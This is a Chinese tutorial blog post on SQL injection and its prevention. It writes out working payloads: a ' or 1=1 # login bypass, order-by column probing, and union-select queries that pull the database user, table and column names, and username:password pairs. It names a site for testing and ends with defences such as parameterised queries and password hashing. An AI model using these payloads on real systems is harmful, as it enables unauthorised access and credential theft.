SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL令人咋舌的隐式转换
Apr 05 MySQL
mysql批量新增和存储的方法实例
Apr 07 MySQL
MySQL 不等于的三种使用及区别
Jun 03 MySQL
MySQL高速缓存启动方法及参数详解(query_cache_size)
Jul 01 MySQL
MySQL外键约束(FOREIGN KEY)案例讲解
Aug 23 MySQL
分享MySQL常用 内核 Debug 几种常见方法
Mar 17 MySQL
提高系统的吞吐量解决数据库重复写入问题
Apr 23 MySQL
MySQL的prepare使用以及遇到的bug
May 11 MySQL
Mysql中@和@@符号的详细使用指南
Jun 05 MySQL
MYSQL中文乱码问题的解决方案
Jun 14 MySQL
Mysql中的触发器定义及语法介绍
Jun 25 MySQL
SQL中去除重复数据的几种方法汇总(窗口函数对数据去重)
May 08 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
PHP中substr()与explode()函数用法分析
2014/11/24 PHP
PHP实现将多个文件压缩成zip格式并下载到本地的方法示例
2018/05/23 PHP
Yii实现微信公众号场景二维码的方法实例
2020/08/30 PHP
Add a Picture to a Microsoft Word Document
2007/06/15 Javascript
jquery 可拖拽的窗体控件实现代码
2010/03/21 Javascript
jquery利用event.which方法获取键盘输入值的代码
2011/10/09 Javascript
Ajax执行顺序流程及回调问题分析
2012/12/10 Javascript
使用jquery读取html5 localstorage的值的方法
2013/01/04 Javascript
jQuery中:selected选择器用法实例
2015/01/04 Javascript
JS解决iframe之间通信和自适应高度的问题
2016/08/24 Javascript
理解 javascript 中的函数表达式与函数声明
2017/07/07 Javascript
利用JavaScript的%做隔行换色的实例
2017/11/25 Javascript
详解React项目的服务端渲染改造(koa2+webpack3.11)
2018/03/19 Javascript
jQuery+CSS实现的标签页效果示例【测试可用】
2018/08/14 jQuery
如何实现一个简易版的vuex持久化工具
2019/09/11 Javascript
js实现贪吃蛇游戏(简易版)
2020/09/29 Javascript
Python使用百度API上传文件到百度网盘代码分享
2014/11/08 Python
Python最基本的数据类型以及对元组的介绍
2015/04/14 Python
PyCharm安装第三方库如Requests的图文教程
2018/05/18 Python
Django使用 Bootstrap 样式修改书籍列表过程解析
2019/08/09 Python
Python学习笔记之列表和成员运算符及列表相关方法详解
2019/08/22 Python
Python使用matplotlib 模块scatter方法画散点图示例
2019/09/27 Python
在Python中用GDAL实现矢量对栅格的切割实例
2020/03/11 Python
Python实现迪杰斯特拉算法过程解析
2020/09/18 Python
ROSEFIELD手表荷兰官方网上商店:北欧极简设计女士腕表品牌
2018/01/24 全球购物
委托与事件是什么关系?为什么要使用委托
2014/04/18 面试题
软件测试企业面试试卷
2016/07/13 面试题
财务管理专业自荐信范文
2013/12/24 职场文书
大学生村官事迹材料
2014/01/21 职场文书
收银员的岗位职责范本
2014/02/04 职场文书
法律七进实施方案
2014/03/15 职场文书
雷人标语集锦
2014/06/19 职场文书
防火标语大全
2014/10/06 职场文书
2014年酒店服务员工作总结
2014/12/08 职场文书
教师个人教学总结
2015/02/11 职场文书
爱国之歌(8首)
2019/09/29 职场文书